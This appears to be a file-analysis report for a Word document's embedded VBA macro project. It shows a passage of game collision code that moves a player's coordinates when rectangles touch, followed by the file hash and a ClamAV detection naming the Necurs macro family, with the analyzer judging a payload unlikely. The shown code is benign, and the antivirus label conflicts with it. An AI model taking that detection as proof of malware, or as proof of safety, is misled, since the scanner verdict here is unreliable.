        If (FindRects.ret(104) And FindRects.ret(105)) Or (FindRects.ret(112) And FindRects.ret(113)) Then
            Player.S(I).charY = sy
            Call ShipTo.uch(I)
            If Player.S(I).charY = LastCY Then
                If FindRects.ret(112) And FindRects.ret(113) Then 'touch right
                    Player.S(I).charX = Player.S(I).charX - 1
                End If
                Call ShipTo.uch(I)
                If FindRects.ret(104) And FindRects.ret(105) Then 'touch left
                    Player.S(I).charX = Player.S(I).charX + 1
                End If
            End If
            If UBound(RectsRet) > 0 Then Player.S(I).charY = LastCY
            Return
        End If
        If (FindRects.ret(101) And FindRects.ret(109)) Or (FindRects.ret(108) And FindRects.ret(116)) Then
            Player.S(I).charX = sx
            Call ShipTo.uch(I)
            If Player.S(I).charY = LastCY Then
                If FindRects.ret(101) And FindRects.ret(109) Then 'touch top
                    Player.S(I).charY = Player.S(I).charY + 1
                End If
                Call ShipTo.uch(I)
                If FindRects.ret(108) And FindRects.ret(116) Then 'touch bottom
                    Player.S(I).charY = Player.S(I).charY - 1
                End If
            End If
            If UBound(RectsRet) > 0 Then Player.S(I).charX = LastCX
            Return
        End If
    End If
    For e = 1 To UBound(RectsRet)
        D = RectsRet(e)
        If D = 101 Then
            If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY + chs * 0.8
            If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX + chs * 0.8
        End If
        If D = 102 Then
            If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY + chs * 0.4
            If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX + chs * 0.4
        End If
        If D = 103 Then
            If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY + chs * 0.4
            If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX + chs * 0.4
        End If
        '
        If D = 104 Then
            If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY + chs * 0.8
            If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX + chs * 0.8
        End If
        If D = 105 Then
            If sx - LastCX <> 0 Then Player.S(I).charY = Player.S(I).charY - chs * 0.8
            If sy - LastCY <> 0 Then Player.S(I).charX = Player.S(I).charX + chs * 0.8
        End If
…
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 90112 bytes
SHA-256: 344a11538dc56fec1bd196cb88350f9cdb8c7ec96c30dd38e9ab5c4d71eeab79
Detection
ClamAV: Doc.Macro.Necurs-6412436-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.